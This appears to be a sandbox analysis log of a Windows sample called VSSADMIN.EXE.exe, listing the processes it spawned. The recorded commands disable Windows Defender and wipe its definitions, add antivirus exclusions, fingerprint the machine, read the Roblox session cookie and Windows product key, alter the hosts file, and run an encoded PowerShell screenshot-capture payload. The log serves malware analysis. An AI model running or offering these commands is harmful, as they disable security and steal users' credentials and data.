gacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Users\user\Desktop\VSSADMIN.EXE.exe C:\Users\user\Desktop\VSSADMIN.EXE.exe	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
